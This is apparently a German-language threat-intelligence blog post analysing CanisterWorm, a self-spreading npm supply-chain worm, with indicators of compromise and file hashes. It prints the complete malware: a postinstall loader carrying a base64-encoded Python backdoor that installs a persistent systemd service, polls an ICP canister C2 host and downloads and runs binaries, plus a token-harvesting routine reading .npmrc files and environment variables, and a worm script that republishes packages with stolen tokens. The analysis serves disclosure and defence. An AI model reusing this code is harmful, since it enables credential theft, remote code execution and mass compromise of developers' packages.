Am 20. März 2026 um 20:45 UTC haben wir eine große Anzahl von Paketen auf NPM kompromittiert entdeckt, die von einem neuen, bisher unbekannten Wurm betroffen waren. Wir nennen diesen spezifischen Angriff CanisterWorm, da er einen ICP Canister für seinen C2 Dead-Drop nutzt, was wir in einer solchen Kampagne zum ersten Mal beobachten.
Bisher wurden kompromittiert:
- 28 Pakete im
@EmilGroupScope - 16 Pakete in der
@opengovScope - Das Paket
@teale.io/eslint-config - Das Paket
@airtm/uuid-base32 - Das Paket
@pypestream/floating-ui-dom
Dies scheint eine direkte Fortsetzung des Angriffs auf Trivy vor weniger als 24 Stunden zu sein, wie von Wiz detailliert dokumentiert, und wurde vom selben Threat Actor, TeamPCP, durchgeführt.
Technische Analyse
Hier ist eine Aufschlüsselung der übergeordneten technischen Details des Angriffs:
- 🧬 Dreistufige Architektur. Node.js Postinstall-Loader → persistente Python-Backdoor → ICP-gehosteter Dead-Drop für die dynamische Payload-Bereitstellung.
- 🪱 Selbstverbreitender Wurm.
deploy.jsentnimmt npm-Tokens, löst Benutzernamen auf, listet alle veröffentlichbaren Pakete auf, erhöht Patch-Versionen und veröffentlicht die Payload im gesamten Geltungsbereich. 28 Pakete in weniger als 60 Sekunden. - 🔁 systemd-Persistenz. Installiert einen Dienst auf Benutzerebene mit
Restart=always. Übersteht Neustarts, startet bei Absturz neu, kein Root erforderlich. - 🌐 ICP-Canister als C2-Dead-Drop. Ein Canister im Internet Computer Mainnet gibt eine URL zurück, die auf eine binäre Payload verweist. Dezentralisiert, zensurresistent, kein einzelner Angriffspunkt.
- 🔄 Remote-Payload-Rotation. Der Canister-Controller kann die URL jederzeit austauschen und so neue Binärdateien an alle infizierten Hosts pushen, ohne das Implantat zu berühren.
- ⏱️ Sandbox-Umgehung. 5 Minuten Schlaf vor dem ersten Beacon, danach ein Abfrageintervall von ca. 50 Minuten.
- 🤫 Stilles Scheitern. Der gesamte Postinstall ist in
try/catch.npm installläuft auf allen Plattformen normal durch; die Backdoor wird jedoch nur unter Linux mit systemd aktiviert. - 🐘 PostgreSQL-Maskierung. Alle Artefakte sind so benannt, dass sie auf Entwickelnden-Maschinen unauffällig sind:
pgmon,pglog,.pg_state. - 📄 README-Erhaltung. Der Wurm ruft das ursprüngliche README jedes Zielpakets ab, bevor er es veröffentlicht, um den Anschein zu wahren.
Payload – Malware
Unten ist der Haupt-Malware-Payload aufgeführt. Diese Datei wird automatisch als postinstall Hook während npm install. Hier ist, was sie Schritt für Schritt tut:
- 🔓 Dekodiert den eingebetteten Payload. Der lange Base64-String ist ein Python-Skript (die Backdoor der zweiten Stufe, die wir uns unten ansehen werden). Es wird dekodiert und geschrieben nach
~/.local/share/pgmon/service.py. - 🔧 Erstellt einen systemd-Benutzerdienst. Es schreibt eine Unit-Datei nach
~/.config/systemd/user/pgmon.servicedie das Python-Skript mitRestart=alwaysund einer Neustartverzögerung von 5 Sekunden. Kein Root erforderlich, keine Passworteingabe. - 🚀 Startet den Dienst sofort. Es führt aus
systemctl --user daemon-reload, aktiviert und startet dann den Dienst. Die Backdoor läuft nun und übersteht Neustarts und Abstürze. - 🐘 Tarnt sich als PostgreSQL-Tooling. Der Dienst heißt
pgmon, die Binärdatei, die er später herunterlädt, heißtpglog, und die Statusdatei ist.pg_state. Eine Entwickelnde, die ihre laufenden Dienste überfliegt, würde nicht zweimal hinschauen.
'use strict';
const { execSync } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = 'pgmon';
const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly90ZHRxeS1veWFhYS1hYWFhZS1hZjJkcS1jYWkucmF3LmljcDAuaW8vIgpUQVJHRVQgPSAiL3RtcC9wZ2xvZyIKU1RBVEUgPSAiL3RtcC8ucGdfc3RhdGUiCgpkZWYgZygpOgogICAgdHJ5OgogICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoQ19VUkwsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wJ30pCiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD0xMCkgYXMgcjoKICAgICAgICAgICAgbGluayA9IHIucmVhZCgpLmRlY29kZSgndXRmLTgnKS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBsaW5rIGlmIGxpbmsuc3RhcnRzd2l0aCgiaHR0cCIpIGVsc2UgTm9uZQogICAgZXhjZXB0OgogICAgICAgIHJldHVybiBOb25lCgpkZWYgZShsKToKICAgIHRyeToKICAgICAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZShsLCBUQVJHRVQpCiAgICAgICAgb3MuY2htb2QoVEFSR0VULCAwbzc1NSkKICAgICAgICBzdWJwcm9jZXNzLlBvcGVuKFtUQVJHRVRdLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGFydF9uZXdfc2Vzc2lvbj1UcnVlKQogICAgICAgIHdpdGggb3BlbihTVEFURSwgInciKSBhcyBmOiAKICAgICAgICAgICAgZi53cml0ZShsKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgbCA9IGcoKQogICAgICAgIHByZXYgPSAiIgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKFNUQVRFKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAiciIpIGFzIGY6IAogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDogCiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCiAgICAgICAgICAgIAogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK';
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
} catch (_) {
// silent
}
Payload – Python Backdoor
Wenn Sie die base64-kodierte systemd-Payload dekodieren, erhalten Sie Folgendes. Dies ist die eigentliche Backdoor, die auf dem System persistent ist. Sie verwendet ausschließlich Module der Python-Standardbibliothek, sodass nichts installiert werden muss.
- ⏱️ Wartet 5 Minuten, bevor es aktiv wird. Lang genug, um die meisten Sandbox-Umgebungen zu überdauern, die sofortiges verdächtiges Verhalten überwachen.
- 📡 Meldet sich alle ~50 Minuten nach Hause. Funktion
g()kontaktiert einen ICP-Canister mit einem gefälschten Browser-User-Agent. Der Canister liefert nicht direkt Malware aus. Er gibt lediglich eine URL als Klartext zurück, die auf den aktuellen Speicherort des eigentlichen Binärprogramms verweist. - 📥 Lädt herunter und führt aus, was ihm befohlen wird. Funktion
e()lädt das Binärprogramm herunter nach/tmp/pglog, markiert es als ausführbar und startet es in einem vollständig losgelösten Prozess. Die URL wird gespeichert unter/tmp/.pg_statedamit dieselbe Payload nicht zweimal heruntergeladen wird. - 🔘 Verfügt über einen integrierten Kill Switch. Wenn die URL enthält
youtube[.]com, überspringt das Skript sie. Dies ist der Ruhezustand des Canisters. Der Angreifer aktiviert das Implantat, indem er den Canister auf ein echtes Binärprogramm verweist, und deaktiviert es, indem er wieder zu einem YouTube-Link wechselt. - 🔄 Unterstützt Payload-Rotation. Wenn der Angreifer den Canister aktualisiert, um auf eine neue URL zu verweisen, übernimmt jede infizierte Maschine das neue Binärprogramm bei ihrer nächsten Abfrage. Das alte Binärprogramm läuft im Hintergrund weiter, da das Skript vorherige Prozesse niemals beendet.
import urllib.request
import os
import subprocess
import time
C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"
def g():
try:
req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=10) as r:
link = r.read().decode('utf-8').strip()
return link if link.startswith("http") else None
except:
return None
def e(l):
try:
urllib.request.urlretrieve(l, TARGET)
os.chmod(TARGET, 0o755)
subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
with open(STATE, "w") as f:
f.write(l)
except:
pass
if __name__ == "__main__":
time.sleep(300)
while True:
l = g()
prev = ""
if os.path.exists(STATE):
try:
with open(STATE, "r") as f:
prev = f.read().strip()
except:
pass
if l and l != prev and "youtube.com" not in l:
e(l)
time.sleep(3000)
Diese Payload und die referenzierte Domain scheinen ähnlich, wenn nicht identisch zu sein mit der sysmon.py Payload aus dem Trivy-Angriff. Derzeit ist die vom C2 zurückgegebene URL ein Rickroll YouTube-Video. Dies könnte sich jederzeit ändern und eine tatsächlich bösartige Payload bereitstellen.
Payload - Wurm
Die Pakete enthalten auch deploy.js, ein Selbstreplikations-Tool, das der Angreifer manuell ausführt, um die bösartige Payload über jedes Paket zu verbreiten, auf das ein gestohlenes npm-Token Zugriff hat. Der Wurm ist sehr einfach. Er scheint vollständig „vibecoded“ zu sein und ist selbsterklärend. Es wurde kein Versuch unternommen, ihn zu verschleiern. Dies wird nicht ausgelöst durch npm install. Es ist ein eigenständiges Tool, das der Angreifer mit gestohlenen Tokens ausführt, um den „Blast Radius“ zu maximieren. Hier ist, was es tut:
- 🔑 Unterstützt mehrere Tokens. Liest
NPM_TOKENS(kommagetrennt) oderNPM_TOKENaus der Umgebung. Jedes Token wird unabhängig verarbeitet, was bedeutet, dass ein einzelner Durchlauf mehrere Konten kompromittieren kann. - 🔍 Löst auf, wem das Token gehört. Für jedes Token ruft es den npm-
/-/whoamiEndpunkt auf, um den zugehörigen Benutzernamen abzurufen. Ungültige oder abgelaufene Tokens werden übersprungen. - 📦 Listet jedes Paket auf, das das Konto veröffentlichen kann. Verwendet die npm-Such-API mit
maintainer:<username>, paginiert in Batches von 250. So wurden alle 28 entdeckt@emilgroupPakete. - 🔢 Erhöht die Patch-Version automatisch. Ruft die aktuelle
aktuellsteVersion jedes Zielpakets ab und inkrementiert die Patch-Nummer.1.54.0wird zu1.54.1,1.97.1wird zu1.97.2. Die neue Version sieht immer wie ein routinemäßiges Patch-Release aus. - 📄 Bewahrt die ursprüngliche README. Vor der Veröffentlichung wird die bestehende README des Zielpakets aus dem Registry abgerufen und lokal ausgetauscht. Nach der Veröffentlichung werden die eigenen Dateien wiederhergestellt. Dadurch bleibt der npm-Eintrag normal aussehend.
- 🔀 Schreibt
package.jsonon the fly um. Ersetzt temporär den Paketnamen und die Version in der lokalenpackage.jsondurch die des Ziels, veröffentlicht und stellt dann das Original wieder her. Ein bösartiges Skelett, das für jedes Paket wiederverwendet wird. - 🚀 Veröffentlicht mit
--tag latest. Der--access public --tag latestFlags stellen sicher, dass die bösartige Version zur Standardinstallation wird. Jeder, dernpm install @emilgroup/whateverausführt, erhält die kompromittierte Version. - 🧹 Räumt hinter sich auf. Beide
package.jsonundREADME.mdwerden immer in einemfinallyBlock wiederhergestellt, selbst wenn die Veröffentlichung fehlschlägt. Das lokale Verzeichnis sieht nach dem Durchlauf unberührt aus. - 📊 Gibt eine Zusammenfassung aus. Verfolgt Erfolge und Misserfolge pro Token und protokolliert alles mit Emoji-präfixierten Statuszeilen. Ironischerweise gut entwickelt für ein Angriffstool.
#!/usr/bin/env node
/**
* deploy.js
*
* Iterates over a list of NPM tokens to:
* 1. Authenticate with the npm registry and resolve your username per token
* 2. Fetch every package owned by that account from the registry
* 3. For every owned package:
* a. Deprecate all existing versions (except the new one you are publishing)
* b. Swap the "name" field in a temp copy of package.json
* c. Run `npm publish` to push the new version to that package
*
* Usage (multiple tokens, comma-separated):
* NPM_TOKENS=<token1>,<token2>,<token3> node scripts/deploy.js
*
* Usage (single token fallback):
* NPM_TOKEN=<your_token> node scripts/deploy.js
*
* Or set it in your environment beforehand:
* export NPM_TOKENS=<token1>,<token2>
* node scripts/deploy.js
*/
const { execSync } = require('child_process');
const https = require('https');
const fs = require('fs');
const path = require('path');
// ── Helpers ──────────────────────────────────────────────────────────────────
function run(cmd, opts = {}) {
console.log(`\n> ${cmd}`);
return execSync(cmd, { stdio: 'inherit', ...opts });
}
function fetchJson(url, token) {
return new Promise((resolve, reject) => {
const options = {
headers: {
Authorization: `Bearer ${token}`,
Accept: 'application/json',
},
};
https
.get(url, options, (res) => {
let data = '';
res.on('data', (chunk) => (data += chunk));
res.on('end', () => {
try {
resolve(JSON.parse(data));
} catch (e) {
reject(new Error(`Failed to parse response from ${url}: ${data}`));
}
});
})
.on('error', reject);
});
}
/**
* Fetches package metadata (readme + latest version) from the npm registry.
* Returns { readme: string|null, latestVersion: string|null }.
*/
async function fetchPackageMeta(packageName, token) {
try {
const meta = await fetchJson(
`https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
token
);
const readme = (meta && meta.readme) ? meta.readme : null;
const latestVersion =
(meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
return { readme, latestVersion };
} catch (_) {
return { readme: null, latestVersion: null };
}
}
/**
* Bumps the patch segment of a semver string.
* e.g. "1.39.0" → "1.39.1"
*/
function bumpPatch(version) {
const parts = version.split('.').map(Number);
if (parts.length !== 3 || parts.some(isNaN)) return version;
parts[2] += 1;
return parts.join('.');
}
/**
* Returns an array of package names owned by `username`.
* Uses the npm search API filtered by maintainer.
*/
async function getOwnedPackages(username, token) {
let packages = [];
let from = 0;
const size = 250;
while (true) {
const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
username
)}&size=${size}&from=${from}`;
const result = await fetchJson(url, token);
if (!result.objects || result.objects.length === 0) break;
packages = packages.concat(result.objects.map((o) => o.package.name));
if (packages.length >= result.total) break;
from += size;
}
return packages;
}
/**
* Runs the full deploy pipeline for a single npm token.
* Returns { success: string[], failed: string[] }
*/
async function deployWithToken(token, pkg, pkgPath, newVersion) {
// 1. Verify token / get username
console.log('\n🔍 Verifying npm token…');
let whoami;
try {
whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
} catch (err) {
console.error('❌ Could not reach the npm registry:', err.message);
return { success: [], failed: [] };
}
if (!whoami || !whoami.username) {
console.error('❌ Invalid or expired token — skipping.');
return { success: [], failed: [] };
}
const username = whoami.username;
console.log(`✅ Authenticated as: ${username}`);
// 2. Fetch all packages owned by this user
console.log(`\n🔍 Fetching all packages owned by "${username}"…`);
let ownedPackages;
try {
ownedPackages = await getOwnedPackages(username, token);
} catch (err) {
console.error('❌ Failed to fetch owned packages:', err.message);
return { success: [], failed: [] };
}
if (ownedPackages.length === 0) {
console.log(' No packages found for this user. Skipping.');
return { success: [], failed: [] };
}
console.log(` Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);
// 3. Process each owned package
const results = { success: [], failed: [] };
for (const packageName of ownedPackages) {
console.log(`\n${'─'.repeat(60)}`);
console.log(`📦 Processing: ${packageName}`);
// 3a. Fetch the original package's README and latest version
const readmePath = path.resolve(__dirname, '..', 'README.md');
const originalReadme = fs.existsSync(readmePath)
? fs.readFileSync(readmePath, 'utf8')
: null;
console.log(` 📄 Fetching metadata for ${packageName}…`);
const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);
// Determine version to publish: bump patch of existing latest, or use local version
const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
console.log(
latestVersion
? ` 🔢 Latest is ${latestVersion} → publishing ${publishVersion}`
: ` 🔢 No existing version found → publishing ${publishVersion}`
);
if (remoteReadme) {
fs.writeFileSync(readmePath, remoteReadme, 'utf8');
console.log(` 📄 Using original README for ${packageName}`);
} else {
console.log(` 📄 No existing README found; keeping local README`);
}
// 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
const tempPkg = { ...pkg, name: packageName, version: publishVersion };
fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');
try {
run('npm publish --access public --tag latest', {
env: { ...process.env, NPM_TOKEN: token },
});
console.log(`✅ Published ${packageName}@${publishVersion}`);
results.success.push(packageName);
} catch (err) {
console.error(`❌ Failed to publish ${packageName}:`, err.message);
results.failed.push(packageName);
} finally {
// Always restore the original package.json
fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');
// Always restore the original README
if (originalReadme !== null) {
fs.writeFileSync(readmePath, originalReadme, 'utf8');
} else if (remoteReadme && fs.existsSync(readmePath)) {
// README didn't exist locally before — remove the temporary one
fs.unlinkSync(readmePath);
}
}
}
return results;
}
// ── Main ─────────────────────────────────────────────────────────────────────
(async () => {
// 1. Resolve token list — prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
const tokens = rawTokens
.split(',')
.map((t) => t.trim())
.filter(Boolean);
if (tokens.length === 0) {
console.error('❌ No npm tokens found.');
console.error(' Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>');
process.exit(1);
}
console.log(`🔑 Found ${tokens.length} token(s) to process.`);
// 2. Read local package.json once
const pkgPath = path.resolve(__dirname, '..', 'package.json');
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
const newVersion = pkg.version;
// 3. Iterate over every token
const overall = { success: [], failed: [] };
for (let i = 0; i < tokens.length; i++) {
const token = tokens[i];
console.log(`\n${'═'.repeat(60)}`);
console.log(`🔑 Token ${i + 1} / ${tokens.length}`);
const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
overall.success.push(...success);
overall.failed.push(...failed);
}
// 4. Overall summary
console.log(`\n${'═'.repeat(60)}`);
console.log('📊 Overall Deploy Summary');
console.log(` ✅ Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
console.log(` ❌ Failed (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);
if (overall.failed.length > 0) {
process.exit(1);
}
})();Update: CanisterWorm lernt, sich selbst zu verbreiten
Etwa eine Stunde nach der ersten @emilgroup Welle, hat der Angreifer ein signifikantes Upgrade auf @teale.io/eslint-config Versionen 1.8.11 und 1.8.12 (21:16-21:21 UTC) veröffentlicht. Der Wurm ist kein manuelles Tool mehr. Er verbreitet sich jetzt selbst.
In den @emilgroup Versionen, deploy.js war ein eigenständiges Skript, das der Angreifer manuell mit gestohlenen Tokens ausführte. Opfer erhielten die Backdoor, aber der Wurm verbreitete sich nicht von selbst weiter. Das hat sich geändert. Die neue index.js fügt eine findNpmTokens() Funktion hinzu, die während postinstall läuft und aktiv npm-Authentifizierungstoken vom Rechner des Opfers sammelt.
'use strict';
const { execSync, spawn } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
function findNpmTokens() {
const tokens = new Set();
const homeDir = os.homedir();
const npmrcPaths = [
path.join(homeDir, '.npmrc'),
path.join(process.cwd(), '.npmrc'),
'/etc/npmrc',
];
for (const rcPath of npmrcPaths) {
try {
const content = fs.readFileSync(rcPath, 'utf8');
for (const line of content.split('\n')) {
const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
if (m && m[1] && !m[1].startsWith('${')) {
tokens.add(m[1].trim());
}
}
} catch (_) {}
}
const envKeys = Object.keys(process.env).filter(
(k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
);
for (const key of envKeys) {
const val = process.env[key] || '';
for (const t of val.split(',')) {
const trimmed = t.trim();
if (trimmed) tokens.add(trimmed);
}
}
try {
const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
stdio: ['pipe', 'pipe', 'pipe'],
}).toString().trim();
if (configToken && configToken !== 'undefined' && configToken !== 'null') {
tokens.add(configToken);
}
} catch (_) {}
return [...tokens].filter(Boolean);
}
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = 'pgmon';
const BASE64_PAYLOAD = 'hello123';
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
try {
const tokens = findNpmTokens();
if (tokens.length > 0) {
const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
if (fs.existsSync(deployScript)) {
spawn(process.execPath, [deployScript], {
detached: true,
stdio: 'ignore',
env: { ...process.env, NPM_TOKENS: tokens.join(',') },
}).unref();
}
}
} catch (_) {}
} catch (_) {}Dies ist dieselbe systemd-Backdoor wie zuvor, jedoch mit einer entscheidenden Ergänzung am Ende: Nach der Installation des persistenten Dienstes durchsucht sie alle npm-Token, die sie finden kann, und startet den Wurm damit.
- 🔍 Durchsucht
.npmrcDateien. Prüft~/.npmrc(Benutzerkonfiguration),.npmrcim aktuellen Arbeitsverzeichnis (Projektkonfiguration) und/etc/npmrc(globale Konfiguration). Analysiert jede Zeile nach_authTokenWerten. Intelligent genug, um Template-Variablen wie${NPM_TOKEN}zu überspringen, die nicht interpoliert wurden. - 🔍 Durchsucht Umgebungsvariablen. Sucht nach
NPM_TOKEN,NPM_TOKENS, und alles, was übereinstimmt mit*NPM*TOKEN*. Trennt an Kommas, um Variablen mit mehreren Tokens zu verarbeiten. Dies erfasst die meisten CI/CD-Setups. - 🔍 Fragt die npm-Konfiguration direkt ab. Führt aus
npm config get //registry.npmjs.org/:_authTokenals Subprozess, um außerhalb gespeicherte Tokens abzufangen.npmrcDateien. - 🪱 Startet den Wurm automatisch. Werden Tokens gefunden, startet es
deploy.jsals vollständig abgetrennter Hintergrundprozess mit den gestohlenen Tokens. Diedetached: trueund.unref()bedeuten, dass der Wurm weiterläuft, selbst nachdemnpm installbeendet ist.
Dies ist der Punkt, an dem der Angriff von „kompromittiertes Konto veröffentlicht Malware“ zu „Malware kompromittiert weitere Konten und verbreitet sich selbst“ übergeht. Jede Entwickelnde oder CI-Pipeline, die dieses Paket installiert und einen zugänglichen npm-Token besitzt, wird zu einem unwissentlichen Verbreitungsvektor. Ihre Pakete werden infiziert, ihre nachgeschalteten Benutzer installieren diese, und wenn diese Tokens haben, wiederholt sich der Zyklus.
Die ICP-Backdoor-Payload wurde ersetzt durch hello123, einen Dummy-Teststring, der zu Garbage-Bytes dekodiert wird. Wenn systemd versucht, ihn als Python auszuführen, stürzt er sofort ab, aber mit Restart=always eingestellt, startet der Dienst alle 5 Sekunden stillschweigend neu. Der Angreifer lieferte zuerst die Infrastruktur, um die gesamte Kette (Token-Harvesting, Wurm-Spawning, systemd-Persistenz) zu validieren, bevor er sie mit der echten Payload bestückte.
Wäre dies mit der vollständigen ICP-Backdoor ausgeliefert worden, wären die Pakete jeder kompromittierten Entwickelnden zu einem neuen Infektionsvektor geworden. Die Infrastruktur funktioniert. Sie haben den Hahn nur noch nicht aufgedreht.
Nachricht im Quellcode
Es scheint, dass der Bedrohungsakteur die Berichterstattung über seine Angriffe verfolgt. In ihrer jüngsten Angriffswelle hinterließen sie eine Nachricht, die sich direkt an den Autor dieses Blogbeitrags richtete:

Indikatoren für Kompromittierung
C2-Infrastruktur
hxxps://tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io/— ICP Canister Dead-Drop Resolver
Dateisystem-Indikatoren
~/.local/share/pgmon/service.py— Python-Backdoor-Skript~/.config/systemd/user/pgmon.service— Systemd-Persistenzeinheit/tmp/pglog— Heruntergeladene binäre Payload/tmp/.pg_state— Statusverfolgungsdatei
Bösartige index.js-Hashes (SHA256)
e9b1e069efc778c1e77fb3f5fcc3bd3580bbc810604cbf4347897ddb4b8c163b— Welle 1: Trockenlauf (leere Payload, manuelle Bereitstellung)61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba— Welle 2: bewaffnete ICP-Backdoor, manuelle Bereitstellung0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a— Welle 3: selbstverbreitend, Test-Payloadc37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926— Welle 4: endgültige Form (selbstverbreitend + bewaffnete ICP-Hintertür)
Bösartige deploy.js-Hashes (SHA256)
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152— Welle 1: ausführlich, kein --tag latest- 7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7 — Welle 2: --tag latest hinzugefügt
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956— Welle 3+: minimiert, still

